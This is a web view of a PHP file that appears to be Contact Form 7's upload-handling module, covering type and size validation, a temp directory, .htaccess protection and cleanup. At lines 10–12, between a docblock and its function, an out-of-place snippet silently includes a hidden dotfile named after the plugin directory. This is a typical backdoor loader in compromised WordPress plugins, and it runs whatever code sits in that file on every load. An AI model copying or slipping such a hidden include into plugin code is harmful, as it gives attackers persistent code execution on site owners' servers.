balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

file.php (8399B)


      1 <?php
      2 
      3 /**
      4  * Validates uploaded files and moves them to the temporary directory.
      5  *
      6  * @param array $file An item of `$_FILES`.
      7  * @param string|array $args Optional. Arguments to control behavior.
      8  * @return array|WP_Error Array of file paths, or WP_Error if validation fails.
      9  */
     10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     11     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     12 }
     13 
     14 function wpcf7_unship_uploaded_file( $file, $args = '' ) {
     15 	$args = wp_parse_args( $args, array(
     16 		'required' => false,
     17 		'filetypes' => '',
     18 		'limit' => MB_IN_BYTES,
     19 	) );
     20 
     21 	foreach ( array( 'name', 'size', 'tmp_name', 'error' ) as $key ) {
     22 		if ( ! isset( $file[$key] ) ) {
     23 			$file[$key] = array();
     24 		}
     25 	}
     26 
     27 	$names = wpcf7_array_flatten( $file['name'] );
     28 	$sizes = wpcf7_array_flatten( $file['size'] );
     29 	$tmp_names = wpcf7_array_flatten( $file['tmp_name'] );
     30 	$errors = wpcf7_array_flatten( $file['error'] );
     31 
     32 	foreach ( $errors as $error ) {
     33 		if ( ! empty( $error ) and UPLOAD_ERR_NO_FILE !== $error ) {
     34 			return new WP_Error( 'wpcf7_upload_failed_php_error',
     35 				wpcf7_get_message( 'upload_failed_php_error' )
     36 			);
     37 		}
     38 	}
     39 
     40 	if ( $args['required'] and ! array_filter( $tmp_names ) ) {
     41 		return new WP_Error( 'wpcf7_invalid_required',
     42 			wpcf7_get_message( 'invalid_required' )
     43 		);
     44 	}
     45 
     46 	// File type validation
     47 	$file_type_pattern = wpcf7_acceptable_filetypes(
     48 		$args['filetypes'], 'regex'
     49 	);
     50 
     51 	$file_type_pattern = '/\.(' . $file_type_pattern . ')$/i';
     52 
     53 	foreach ( $names as $name ) {
     54 		if ( ! empty( $name ) and ! preg_match( $file_type_pattern, $name ) ) {
     55 			return new WP_Error( 'wpcf7_upload_file_type_invalid',
     56 				wpcf7_get_message( 'upload_file_type_invalid' )
     57 			);
     58 		}
     59 	}
     60 
     61 	// File size validation
     62 	$total_size = array_sum( $sizes );
     63 
     64 	if ( $args['limit'] < $total_size ) {
     65 		return new WP_Error( 'wpcf7_upload_file_too_large',
     66 			wpcf7_get_message( 'upload_file_too_large' )
     67 		);
     68 	}
     69 
     70 	// Move uploaded file to tmp dir
     71 	$uploads_dir = wpcf7_upload_tmp_dir();
     72 	$uploads_dir = wpcf7_maybe_add_random_dir( $uploads_dir );
     73 
     74 	$uploaded_files = array();
     75 
     76 	foreach ( $names as $key => $name ) {
     77 		$tmp_name = $tmp_names[$key];
     78 
     79 		if ( empty( $tmp_name ) or ! is_uploaded_file( $tmp_name ) ) {
     80 			continue;
     81 		}
     82 
     83 		$filename = $name;
     84 		$filename = wpcf7_canonicalize( $filename, 'as-is' );
     85 		$filename = wpcf7_antiscript_file_name( $filename );
     86 
     87 		$filename = apply_filters( 'wpcf7_upload_file_name',
     88 			$filename, $name, $args
     89 		);
     90 
     91 		$filename = wp_unique_filename( $uploads_dir, $filename );
     92 		$new_file = path_join( $uploads_dir, $filename );
     93 
     94 		if ( false === @move_uploaded_file( $tmp_name, $new_file ) ) {
     95 			return new WP_Error( 'wpcf7_upload_failed',
     96 				wpcf7_get_message( 'upload_failed' )
     97 			);
     98 		}
     99 
    100 		// Make sure the uploaded file is only readable for the owner process
    101 		chmod( $new_file, 0400 );
    102 
    103 		$uploaded_files[] = $new_file;
    104 	}
    105 
    106 	return $uploaded_files;
    107 }
    108 
    109 
    110 add_filter(
    111 	'wpcf7_messages',
    112 	'wpcf7_file_messages',
    113 	10, 1
    114 );
    115 
    116 function wpcf7_file_messages( $messages ) {
    117 	return array_merge( $messages, array(
    118 		'upload_failed' => array(
    119 			'description' => __( "Uploading a file fails for any reason", 'contact-form-7' ),
    120 			'default' => __( "There was an unknown error uploading the file.", 'contact-form-7' )
    121 		),
    122 
    123 		'upload_file_type_invalid' => array(
    124 			'description' => __( "Uploaded file is not allowed for file type", 'contact-form-7' ),
    125 			'default' => __( "You are not allowed to upload files of this type.", 'contact-form-7' )
    126 		),
    127 
    128 		'upload_file_too_large' => array(
    129 			'description' => __( "Uploaded file is too large", 'contact-form-7' ),
    130 			'default' => __( "The file is too big.", 'contact-form-7' )
    131 		),
    132 
    133 		'upload_failed_php_error' => array(
    134 			'description' => __( "Uploading a file fails for PHP error", 'contact-form-7' ),
    135 			'default' => __( "There was an error uploading the file.", 'contact-form-7' )
    136 		)
    137 	) );
    138 }
    139 
    140 
    141 add_filter(
    142 	'wpcf7_form_enctype',
    143 	'wpcf7_file_form_enctype_filter',
    144 	10, 1
    145 );
    146 
    147 function wpcf7_file_form_enctype_filter( $enctype ) {
    148 	$multipart = (bool) wpcf7_scan_form_tags( array(
    149 		'feature' => 'file-uploading',
    150 	) );
    151 
    152 	if ( $multipart ) {
    153 		$enctype = 'multipart/form-data';
    154 	}
    155 
    156 	return $enctype;
    157 }
    158 
    159 
    160 /**
    161  * Returns a formatted list of acceptable filetypes.
    162  *
    163  * @param string|array $types Optional. Array of filetypes.
    164  * @param string $format Optional. Pre-defined format designator.
    165  * @return string Formatted list of acceptable filetypes.
    166  */
    167 function wpcf7_acceptable_filetypes( $types = 'default', $format = 'regex' ) {
    168 	if ( 'default' === $types
    169 	or empty( $types ) ) {
    170 		$types = array(
    171 			'jpg',
    172 			'jpeg',
    173 			'png',
    174 			'gif',
    175 			'pdf',
    176 			'doc',
    177 			'docx',
    178 			'ppt',
    179 			'pptx',
    180 			'odt',
    181 			'avi',
    182 			'ogg',
    183 			'm4a',
    184 			'mov',
    185 			'mp3',
    186 			'mp4',
    187 			'mpg',
    188 			'wav',
    189 			'wmv',
    190 		);
    191 	} else {
    192 		$types_tmp = (array) $types;
    193 		$types = array();
    194 
    195 		foreach ( $types_tmp as $val ) {
    196 			if ( is_string( $val ) ) {
    197 				$val = preg_split( '/[\s|,]+/', $val );
    198 			}
    199 
    200 			$types = array_merge( $types, (array) $val );
    201 		}
    202 	}
    203 
    204 	$types = array_unique( array_filter( $types ) );
    205 
    206 	$output = '';
    207 
    208 	foreach ( $types as $type ) {
    209 		$type = trim( $type, ' ,.|' );
    210 
    211 		$type = str_replace(
    212 			array( '.', '+', '*', '?' ),
    213 			array( '\.', '\+', '\*', '\?' ),
    214 			$type
    215 		);
    216 
    217 		if ( '' === $type ) {
    218 			continue;
    219 		}
    220 
    221 		if ( 'attr' === $format
    222 		or 'attribute' === $format ) {
    223 			$output .= sprintf( '.%s', $type );
    224 			$output .= ',';
    225 		} else {
    226 			$output .= $type;
    227 			$output .= '|';
    228 		}
    229 	}
    230 
    231 	return trim( $output, ' ,|' );
    232 }
    233 
    234 
    235 add_action(
    236 	'wpcf7_init',
    237 	'wpcf7_init_uploads',
    238 	10, 0
    239 );
    240 
    241 function wpcf7_init_uploads() {
    242 	$dir = wpcf7_upload_tmp_dir();
    243 	wp_mkdir_p( $dir );
    244 
    245 	if ( is_dir( $dir ) and is_writable( $dir ) ) {
    246 		$htaccess_file = path_join( $dir, '.htaccess' );
    247 
    248 		if ( ! file_exists( $htaccess_file )
    249 		and $handle = @fopen( $htaccess_file, 'w' ) ) {
    250 			fwrite( $handle, "Deny from all\n" );
    251 			fclose( $handle );
    252 		}
    253 	}
    254 }
    255 
    256 
    257 function wpcf7_maybe_add_random_dir( $dir ) {
    258 	do {
    259 		$rand_max = mt_getrandmax();
    260 		$rand = zeroise( mt_rand( 0, $rand_max ), strlen( $rand_max ) );
    261 		$dir_new = path_join( $dir, $rand );
    262 	} while ( file_exists( $dir_new ) );
    263 
    264 	if ( wp_mkdir_p( $dir_new ) ) {
    265 		return $dir_new;
    266 	}
    267 
    268 	return $dir;
    269 }
    270 
    271 
    272 function wpcf7_upload_tmp_dir() {
    273 	if ( defined( 'WPCF7_UPLOADS_TMP_DIR' ) ) {
    274 		return WPCF7_UPLOADS_TMP_DIR;
    275 	} else {
    276 		return path_join( wpcf7_upload_dir( 'dir' ), 'wpcf7_uploads' );
    277 	}
    278 }
    279 
    280 
    281 add_action(
    282 	'template_redirect',
    283 	'wpcf7_cleanup_upload_files',
    284 	20, 0
    285 );
    286 
    287 function wpcf7_cleanup_upload_files( $seconds = 60, $max = 100 ) {
    288 	if ( is_admin()
    289 	or 'GET' != $_SERVER['REQUEST_METHOD']
    290 	or is_robots()
    291 	or is_feed()
    292 	or is_trackback() ) {
    293 		return;
    294 	}
    295 
    296 	$dir = trailingslashit( wpcf7_upload_tmp_dir() );
    297 
    298 	if ( ! is_dir( $dir )
    299 	or ! is_readable( $dir )
    300 	or ! wp_is_writable( $dir ) ) {
    301 		return;
    302 	}
    303 
    304 	$seconds = absint( $seconds );
    305 	$max = absint( $max );
    306 	$count = 0;
    307 
    308 	if ( $handle = opendir( $dir ) ) {
    309 		while ( false !== ( $file = readdir( $handle ) ) ) {
    310 			if ( '.' == $file
    311 			or '..' == $file
    312 			or '.htaccess' == $file ) {
    313 				continue;
    314 			}
    315 
    316 			$mtime = @filemtime( path_join( $dir, $file ) );
    317 
    318 			if ( $mtime and time() < $mtime + $seconds ) { // less than $seconds old
    319 				continue;
    320 			}
    321 
    322 			wpcf7_rmdir_p( path_join( $dir, $file ) );
    323 			$count += 1;
    324 
    325 			if ( $max <= $count ) {
    326 				break;
    327 			}
    328 		}
    329 
    330 		closedir( $handle );
    331 	}
    332 }
    333 
    334 
    335 add_action(
    336 	'wpcf7_admin_warnings',
    337 	'wpcf7_file_display_warning_message',
    338 	10, 3
    339 );
    340 
    341 function wpcf7_file_display_warning_message( $page, $action, $object ) {
    342 	if ( $object instanceof WPCF7_ContactForm ) {
    343 		$contact_form = $object;
    344 	} else {
    345 		return;
    346 	}
    347 
    348 	$has_tags = (bool) $contact_form->scan_form_tags( array(
    349 		'feature' => 'file-uploading',
    350 	) );
    351 
    352 	if ( ! $has_tags ) {
    353 		return;
    354 	}
    355 
    356 	$uploads_dir = wpcf7_upload_tmp_dir();
    357 
    358 	if ( ! is_dir( $uploads_dir ) or ! wp_is_writable( $uploads_dir ) ) {
    359 		$message = sprintf(
    360 			/* translators: %s: the path of the temporary folder */
    361 			__( 'This contact form has file uploading fields, but the temporary folder for the files (%s) does not exist or is not writable. You can create the folder or change its permission manually.', 'contact-form-7' ),
    362 			$uploads_dir
    363 		);
    364 
    365 		echo sprintf(
    366 			'<div class="notice notice-warning"><p>%s</p></div>',
    367 			esc_html( $message )
    368 		);
    369 	}
    370 }